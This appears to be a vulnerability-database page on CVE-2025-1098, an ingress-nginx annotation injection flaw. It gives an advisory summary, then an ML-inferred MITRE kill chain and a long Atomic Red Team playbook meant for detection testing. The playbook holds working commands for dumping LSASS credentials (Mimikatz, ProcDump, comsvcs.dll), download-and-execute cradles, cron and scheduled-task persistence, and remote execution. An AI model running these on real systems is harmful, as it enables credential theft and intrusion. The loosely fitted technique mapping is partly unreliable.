CVE-2025-1098

HIGH EXPLOIT Pub 24/03 Upd 26/02

Overview

The vulnerability is a configuration injection flaw in the ingress-nginx controller of Kubernetes, specifically related to the `mirror-target` and `mirror-host` Ingress annotations. These annotations improperly allow user-supplied values to be injected directly into the nginx configuration without adequate validation or sanitization. This affects the ingress-nginx controller component responsible for processing Ingress resource annotations and generating nginx configuration directives.

Vulnerability Description

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

Impact

An attacker with the ability to create or modify Ingress resources can exploit this flaw to execute arbitrary code within the ingress-nginx controller process and exfiltrate sensitive Secrets from the cluster. This requires at least limited cluster permissions (PR:L) but no user interaction (UI:N) and can be triggered remotely over the network (AV:N). The resulting compromise can lead to full cluster credential disclosure and control over ingress traffic, enabling lateral movement and persistent compromise.

Solution

Refer to the Kubernetes GitHub issue 131008 for the official patch and remediation details. Users of ingress-nginx should upgrade to the fixed version that disables or properly validates the `mirror-target` and `mirror-host` annotations to prevent arbitrary configuration injection. No specific advisory ID is provided, but the fix is tracked in the Kubernetes ingress-nginx repository and should be applied promptly to affected versions.

EPSS vs KEV Prediction — Evolution (30 days)

Title	Author	Type	Platform	Date	Link
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE	Beatriz Fresno Naumova	remote	multiple	-	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Target OS:

Deployed role: Linux · Generic

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.

Attack Vectors ML

Remote Code Execution

89% rce

Code Injection

71% code_injection

hardcoded_credentials

66% hardcoded_credentials

OS Command Injection

53% command_injection

MITRE ATT&CK Techniques (11)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003	Cron	Kill Chain	execution, persistence, privilege-escalation	Linux, macOS, ESXi
T1053.005	Scheduled Task	Kill Chain	execution, persistence, privilege-escalation	Windows
T1059.001	PowerShell	Kill Chain	execution	Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1003.001	LSASS Memory	Kill Chain	credential-access	Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1087.002	Domain Account	Kill Chain	discovery	Linux, macOS, Windows
T1021.002	SMB/Windows Admin Shares	Kill Chain	lateral-movement	Windows
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity
CAPEC-31	Accessing/Intercepting/Modifying HTTP Cookies	75%	High	High
CAPEC-135	Format String Injection	51%	High	High
CAPEC-101	Server Side Include (SSI) Injection	51%	High	High
CAPEC-88	OS Command Injection	48%	High	High
CAPEC-9	Buffer Overflow in Local Command-Line Utilities	45%	High	High

Red Team Playbook

123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...

Command (CMD)

"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}

T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged

Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)

Command (PowerShell)

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id

T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged

WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"

T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump

T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...

Command (CMD)

"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Command (PowerShell)

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....

Command (CMD)

"#{dumpert_exe}"

T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...

Command (PowerShell)

#{xordump_exe} -out #{output_file} -x 0x41

T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.

Command (PowerShell)

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."

T1003.001 LSASS read with pypykatz Windows CMD Privileged

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...

Command (CMD)

"#{venv_path}\Scripts\pypykatz" live lsa

T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Command (CMD)

#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit

T1003.001 Powershell Mimikatz Windows PowerShell Privileged

Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...

Command (PowerShell)

IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds

T1021.002 Copy and Execute File with PsExec Windows CMD Privileged

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

Command (CMD)

"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}

T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged

Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.

Command (CMD)

cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1

T1021.002 Map Admin Share PowerShell Windows PowerShell

Map Admin share utilizing PowerShell

Command (PowerShell)

New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

T1021.002 Map admin share Windows CMD

Connecting To Remote Shares

Command (CMD)

cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged

This test adds a script to /etc/cron.d folder configured to execute on a schedule.

Command (Shell)

echo "#{command}" > /etc/cron.d/#{cron_script_name}

T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged

This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Command (Bash)

echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged

This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Command (Bash)

echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}

T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell

This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.

Command (Shell)

crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}

T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged

Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell

Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction

T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell

Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object

T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged

Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon

T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...

Command (CMD)

reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}

T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged

Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc

T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged

Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"

T1053.005 Scheduled Task Startup Script Windows CMD Privileged

Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

Command (CMD)

schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

T1053.005 Scheduled task Local Windows CMD

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (CMD)

SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

T1053.005 Scheduled task Remote Windows CMD Privileged

Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Command (CMD)

SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

T1053.005 Task Scheduler via VBA Windows PowerShell

This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"

T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell

Executes powershell.exe with variations of the -Command parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 Abuse Nslookup with DNS Records Windows PowerShell

Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)

Command (PowerShell)

# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]

T1059.001 Invoke-AppPathBypass Windows CMD

Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Command (CMD)

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

T1059.001 Mimikatz Windows CMD Privileged

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Command (CMD)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Command (PowerShell)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

T1059.001 NTFS Alternate Data Stream Access Windows PowerShell

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Command (PowerShell)

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

T1059.001 PowerShell Command Execution Windows CMD

Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Command (CMD)

powershell.exe -e  #{obfuscated_code}

T1059.001 PowerShell Fileless Script Execution Windows PowerShell

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Command (PowerShell)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged

Powershell execution of known Malicious PowerShell Cmdlets

Command (PowerShell)

$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}

T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Command (PowerShell)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

T1059.001 PowerUp Invoke-AllChecks Windows PowerShell

Check for privilege escalation paths using PowerUp from PowerShellMafia

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

T1059.001 Powershell Invoke-DownloadCradle Windows Manual

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

T1059.001 Powershell MsXml COM object - with prompt Windows CMD

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

T1059.001 Powershell XML requests Windows CMD

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"

T1059.001 Powershell invoke mshta.exe download Windows CMD

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io

Command (CMD)

